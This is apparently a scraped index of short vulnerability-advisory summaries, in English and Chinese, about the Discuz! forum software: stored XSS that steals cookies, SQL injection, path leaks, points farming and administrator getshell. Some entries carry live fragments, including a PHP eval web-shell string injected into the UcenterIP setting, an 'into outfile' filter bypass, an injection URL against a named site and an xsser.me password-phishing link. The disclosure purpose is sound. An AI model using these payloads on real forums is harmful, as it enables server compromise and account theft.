Discuz anti-injection function to bypass the method of analysis and useless heart repair patches-vulnerability warning-the black bar safety net

discuzdescription: Crossday Discuz! Board, hereinafter referred to as Discuz!, the China National copyright Bureau copyright registration No. 2006SR11895 is Kang Sheng Chong thinkBeijingTechnology Co., Ltd. （abbreviation Comsenz launch of a common set of community forums software system, the user...

XSS: discuz X2. 5 cross-site vulnerabilities using the method of analysis-vulnerability warning-the black bar safety net

0×0 1 cannot get the COOKIE Log analysis Say DISCUZ X2. 5, hereinafter referred to as DZ25 the COOKIES got there is no way to login, but why? Today a simple look, we log a DZ25 of the station, landing after a look at the COOKIE ! On the inside we turned down, you will find a HTTPONLY fields, or...

Discuz! X2.5 api.php 路径泄露

No description provided by source...

Discuz protection bypass analysis-vulnerability warning-the black bar safety net

! QQ 截图 20130320144758.jpg Final anti-injection checking function in discuzdatabasesafecheck::checkquery%s, The following protected static $checkcmd = array'SELECT', 'UPDATE', 'INSERT', 'REPLACE', 'DELETE'; protected static $config; public static function checkquery$sql if self::$config === null...

Part of the Discuz! The forum user can be any brush points-vulnerability warning-the black bar safety net

For some Discuz! Forum on the promotion visit this place not paying attention so the user can be any brush Forum user points and levels First click on the promotion to access ! You can see this interface “If you have a friend by one of the following links to access the site, you will get reward...

Discuz!x2.5某处存储xss

简要描述： Discuz!x2.5某处存储xss 比较鸡肋 详细说明： 在论坛首页管理 禁止用户那 输入你能管理的用户名称 然后选择禁言 理由那插 漏洞证明：...

discuz x1.5 x1.5.1 存储型xss（可定向攻击）

简要描述： discuz x1.5 x1.5.1 某处未过滤，形成存储型xss ，可窃取cookie。（很低调有木有。。） 详细说明： 添加好友的附言未作任何处理，导致可以插。 https://images.seebug.org/upload/201302/2521325724e668f21dd352d4830839e46dc461a6.png 对方点开提醒即生效。 https://images.seebug.org/upload/201302/2521353585462281cb56e45add569172a9842a85.png 漏洞证明：...

Discuz! X2.5 /source/function/function_core.php 跨站脚本漏洞

No description provided by source...

Discuz! X2 回复仅作者可见控制不严

简要描述： Discuz! X2 发布回复仅作者可见的主题帖，普通会员可以绕过该机制获得被隐藏的部分内容 详细说明： 帖子为打开状态时，可以通过楼层获得fid、tid、repposet 这3个参数，手动URL提交，可获取引用回复，引用回复中含有被屏蔽（仅作者可见的）部分内容。 漏洞证明： 拼接的url...

部分Discuz!论坛 用户可以任意刷积分！

简要描述： 有些Discuz!论坛 用户可以任意刷积分 详细说明： 对于有些Discuz!论坛对推广访问这个地方不重视从而可以使用户能够任意的刷论坛的用户积分和等级 先点击推广访问 可以看到这个界面 “如果您的朋友通过下面任意一个链接访问站点，您将获得积分奖励 金钱+1”我们可以复制一个推广链接 用流量精灵挂着 不一会儿 我们的积分就会上去。论坛等级也会提高！ 漏洞证明：...

Discuz!2.5 搜索框漏洞

简要描述： 通过XXS搜索框可以获取 cookies 信息 详细说明： 通过XXS搜索框可以获取 cookies 信息 dz2.5漏洞 所在文件 http://xxxxx.net/misc.php?mod=faq&action=search 在第二个搜索框里可以输进相关代码，非法的人用来搞破坏，那危害就大了 漏洞证明：...

Discuz X2 后台getshell(当mysql为root时）

简要描述： 危险语句过滤，可以绕过 详细说明： 最近帮朋友看了一个站，DZx2的，拿到了创始人都没办法getshell 百度无果，自己本地架设了一下 1，当mysql是root时 站长---数据库---升级 尝试 select '1' into outfile 'E:\2.txt' 会提示 Type 查询语句安全威胁 Query select '1' into outfile 'E:\2.txt' 为什么会这样呢？ \config\configglobal.php中 限制了into outfile函数 尝试绕过 /!select/ '1' /!into outfile/ 'E:\3.tx...

Discuz! X系列对md5与明文登录区分不明

简要描述： 在Discuz！平台上，如果密码够安全的话，经过md5md5newpw.salt 加密之后是很难破解出密码的，但是你又没有想过，如果别人有一个还有你的密码的md5加密的数据库的时候，可以直接用你的32位md5加密之后的密文直接登录，那岂不是很不安全？ 详细说明： 在登录时，除了你的明文密码之外，32位的md5也可以登录，当你拥有一个还有他/她密码的32位md5加密后的密码不也是能进去了么？ 具体的代码部分没有看，但是只有X系列会出现这样的错误，应该是Ucenter出的错了吧！ 漏洞证明： 前言： 在Discuz！平台上，如果密码够安全的话，经过md5md5$newpw.$sa...

Discuz! 储存型XSS可指定用户盗取cookies

简要描述： Discuz! 储存型XSS可指定用户盗取cookies 详细说明： 昨天在转账的时候无意间发现的。 测试方法 在这块留言的地方没有如何过滤导致任何js脚本都可以运行发送到指定的转账用户 漏洞证明： 这个是通用型程序 腾讯的很多论坛都存在...

discuz X2. 5 latest vulnerability,a neglected physical path of the leak-vulnerability warning-the black bar safety net

Before everyone's attention that both the physical path of the leak: Before the two physical path of the leak address: http://www.myhack58.com/ucserver/control/admin/db.php http://www.myhack58.com/source/plugin/myrepeats/table/tablemyrepeats.php Actually install here also hide one, some people...

当Discuz!遇上xsser.me

简要描述： 利用的是xsser.me的基础认证钓鱼，并成功钓到用户数据 详细说明： 当在Discuz中回帖，插入一张很奇葩的图片时，可能就会导致用户被盗号。 http://xsser.me/authtest.php?id=Ayuk1y&[email protected] 例如上面那个地址，可以用图片来引用之，然后回帖，当用户看到这张图片的时候，就会触发提示登陆框。 这个地址是一个401头 HTTP/1.1 401 Unauthorized 当输入密码后，会重定向到收集数据的页面，接着，你们密码就被盗了。 我为什么认为这个是一个漏洞：...

Discuz! X2. 5 the latest version of the background administrator permissions Getshell details of the disclosure-vulnerability warning-the black bar safety net

In the background - webmaster - Ucenter settings set at UcenterIP for XX\';eval$POSTa?;// XX ! 2. The discovery Management page code out. ! 3. Serving knife! ! 4. Look at the source code, Oh, the original is so! !...

pptv一个SQL注入

简要描述： Discuz!一个注入 详细说明： Discuz!一个注入 http://allstartv.pptv.com/superstar.php?mod=search&searchid=1&searchsubmit=yes&kw=%27 漏洞证明： 居然过了gpc。。。。...

Discuz! X2.5 类似鸡肋存储Xss

简要描述： 鸡肋存储XSS 详细说明： 貌似鸡肋,因为要造成XSS是需要有一定的权限，比如论坛的斑竹什么的，普通会员的话好像不行，因为存在XSS的地方是一个转账功能，而在此转账功能下面还有一个留言框，而造成XSS的就是这个留言框。此留言框未做任务过滤处理。经测试用一个有权限的帐号给一个普通帐号转账附带留言XSS.可成功获取cookie. 漏洞证明：...

Discuz X2. 5 the latest version of the proof of the path-vulnerability warning-the black bar safety net

! Vulnerability to prove: http://www.erdare.com/source/plugin/myrepeats/table/tablemyrepeats.php Solution: add! defined'INUC' && exit'Access Denied';...